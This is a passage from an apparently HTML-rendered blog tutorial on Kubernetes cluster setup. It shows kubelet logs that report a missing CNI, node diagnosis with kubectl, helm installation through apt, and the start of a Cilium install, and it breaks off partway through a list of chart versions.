#ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejournalctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-flu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e--\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLogs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebegin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2022\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-04-17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:22:19\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAST.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eApr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:15\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19727\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eE0417\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:15.951350\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19727\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet.go:2347]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Container runtime network not ready\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enetworkReady=\"NetworkReady=false reason:NetworkPluginNotReady message:Network plugin returns error: cni plugin not initialized\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eApr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:20\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19727\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eE0417\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:20.952148\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e19727\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet.go:2347]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Container runtime network not ready\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enetworkReady=\"NetworkReady=false reason:NetworkPluginNotReady message:Network plugin returns error: cni plugin not initialized\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIt is clear the problem is that we are missing the CNI.  The other way you can find out what is\ngoing on is describing the node:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edescribe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will have a lot of information but if you scroll through there looking at \u003ccode\u003eReason\u003c/code\u003e you\nmight see something useful.  In this case under \u003ccode\u003eLease\u003c/code\u003e you would see:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edescribe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNotReady\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eFalse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSun,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eApr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2022\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:53:37\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-0400\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSun,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eApr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2022\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:43:07\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-0400\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eKubeletNotReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eruntime\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enetwork\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eready:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworkReady=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003efalse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ereason:NetworkPluginNotReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emessage:Network\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eplugin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ereturns\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eerror:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecni\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eplugin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einitialize\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLets get our CNI installed, we’ll be using cilium!\u003c/p\u003e\n\u003ch2\u003eSetting up your CNI!\u003c/h2\u003e\n\u003cp\u003eCilium has great documentation over \u003ca href=\"https://docs.cilium.io/en/v1.9/gettingstarted/k8s-install-kubeadm/\"\u003ehere\u003c/a\u003e,\nbut I’ll walk you through it anyways.  I do recommend checking out their documentation so you\nare familiar with it.   We will use \u003ccode\u003ehelm\u003c/code\u003e to pull down the version of cilium we want:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://baltocdn.com/helm/signing.asc\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/helm.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-transport-https\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--yes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb https://baltocdn.com/helm/stable/debian/ all main\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/helm-stable-debian.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we can install cilium!  It is \u003cem\u003every\u003c/em\u003e important that you pay attention to the\ncompatibility of cilium with the version of kubernetes you are intstalling. Check\nthe compatibility list \u003ca href=\"https://docs.cilium.io/en/v1.12/concepts/kubernetes/compatibility/\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eadd\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://helm.cilium.io/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce the repo is added you can list the versions available:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehelm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esearch\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-l\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehead\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n8\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCHART\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e\t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAPP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e\t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDESCRIPTION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.12\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.12\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.12\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.12\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.7\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.7\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eObservability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.6\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \t\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.6\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \t\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeBPF-based\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNetworking,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSecurity,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: 